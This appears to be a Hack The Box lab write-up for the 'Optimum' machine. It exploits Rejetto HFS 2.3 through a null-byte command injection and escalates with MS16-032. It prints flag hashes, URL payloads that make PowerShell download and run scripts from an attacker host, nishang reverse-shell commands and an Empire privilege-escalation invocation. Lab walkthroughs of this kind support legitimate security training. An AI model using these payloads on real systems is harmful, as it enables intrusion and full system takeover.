Optimum

Optimum - 10.10.10.8

Target Enumeration

IP: 10.10.10.9

User: d0c39409d7b994a9a1389ebf38ef5f73

Root: 51ed1b36553c8461f4552c2e92b3eeed

Ports / Services / Software Versions Running

80/tcp open http HttpFileServer httpd 2.3

Vulnerability Exploited:

Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution

https://www.exploit-db.com/exploits/39161/

Vulnerability Explanation:

Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b over Windows XP SP3, Windows 7 SP1 and Windows 8.

Privilege Escalation

MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) - Local Privilege Escalation

https://www.exploit-db.com/exploits/39719/

Replicating the exploit:

Nmap

UDP

Port 80 in browser

Version number on page and in sourcecode:

Searchsploit

Copy to current dir

searchsploit -m windows/remote/39161.py

Modify the file with

Requires nc in current dir server over port 80 and start a listener on port 443

Execute the script

Now you have a low priv shell

Proof

That’s the easy way. There is also a metasploit module. Harder way, via the webapp.

Null bytes allow code execution

Send that to the repeater and ping your localhost

Use TCP dump to see if you can see the ping

Now download nishang

git clone https://github.com/samratashok/nishang.git

Copy powershell command to local folder (do not edit)

cp nishang/Shells/Invoke-PowerShellTcp.ps1 .

Add the following to the bottom of the file

Check you can ping with powershell

/?search=%00{.exec|C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe ping 10.10.14.2}

Check with tcpdump which should respond.

Replace ping with the following which needs to be URL encoded.:

/?search=%00{.exec|C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.2/Invoke-PowerShellTcp.ps1').}

After a while you will have a Powershell shell.

Run systeminfo and Sherlock.ps1 from within powershell

IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.2/Sherlock.ps1")

It appears its vulnerable to MS16-032

We do not have an interactive session so will need to download Empire to elevate our privileges

git clone https://github.com/EmpireProject/Empire.git

cp /root/Data/Lab/Hackthebox/HackTheBox/10.10.10.8/10.10.10.8/Empire/data/module_source/privesc/Invoke-MS16032.ps1

Modify with this line at the bottom

Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.2/shell.ps1')"

Copy existing powershell tcp script to shell.ps1

Amend the last line to the following and set up a nc listener on port 444

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.2 -Port 444

Execute the following as a low priv user:

IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.2/Invoke-MS16032.ps1")

Wait for a while and you will receive a system shell.

Evidence